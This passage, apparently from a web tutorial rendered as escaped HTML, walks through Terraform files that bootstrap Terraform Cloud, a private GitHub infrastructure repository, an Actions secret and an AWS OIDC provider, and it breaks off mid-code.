type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The owner of the TFC organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_workspaces\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003estring\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The list of TFC workspaces\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_organization\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The organization the repositories are owned by\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_repo_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The name of the git repository we'll create for managing infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_default_branch\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The default branch to utilize\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"main\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_root_account_id\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The AWS root account we want to apply these changes to\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe will use these variables in the later modules but they are mostly metadata\naround the terraform and github accounts you will need to setup manually.\u003c/p\u003e\n\u003ch3\u003eProviders\u003c/h3\u003e\n\u003cp\u003eCreate a file called \u003ccode\u003e2-providers.tf\u003c/code\u003e and define the providers:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e required_providers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"0.41.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"integrations/github\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"5.18.3\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e region\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # Root account, all other accounts should be provisioned\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # via pull requests\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e allowed_account_ids\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_root_account_id]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e owner\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe key things there are we define \u003ccode\u003eallowed_account_ids\u003c/code\u003e to prevent us from\nworking against any account that is not the root and we are using one of the\nvariables we defines earlier.\u003c/p\u003e\n\u003ch3\u003eGithub\u003c/h3\u003e\n\u003cp\u003eWe will utilize \u003ccode\u003eterraform\u003c/code\u003e to create the second git repository where the rest\nof the infrastructure will go. Create a file called \u003ccode\u003e3-github.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_repository\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"repo\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Infrastructure Repository\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e visibility\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"private\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e auto_init\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e has_issues\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_branch_default\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"default\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e branch\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_default_branch\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_team\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"owners\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"owners\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_team_token\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_actions_token\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e team_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfe_team\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eowners\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_actions_secret\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_secret\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e secret_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFE_TOKEN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e plaintext_value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_team_token\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_actions_token\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etoken\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"repository_id\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will generate a new repository in your account called \u003ccode\u003einfra\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFor the terraform provider to have access to github you need to create a new\npersonal access token with full \u003ccode\u003erepo\u003c/code\u003e access and set it as an environment\nvariable named \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eTerraform Cloud\u003c/h3\u003e\n\u003cp\u003eNow we need to setup dynamic credentials so the terraform cloud agent is\nallowed to take actions on your behalf. To do this we will setup an IAM\nrole and an OIDC provider. Create a file called \u003ccode\u003e4-tfc.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_organization\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"organization\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e email\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* AWS will use this TLS certificate to verify that requests for dynamic\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003ecredentials come from Terraform Cloud.*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tls_certificate\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_certificate\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e url\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"https://\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* sets up an OIDC provider in AWS with Terraform Cloud's TLS certificate,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003ethe SHA1 fingerprint from the TLS certificate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_openid_connect_provider\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_provider\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e url\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eurl\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e client_id_list\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_aws_audience]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e thumbprint_list\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan 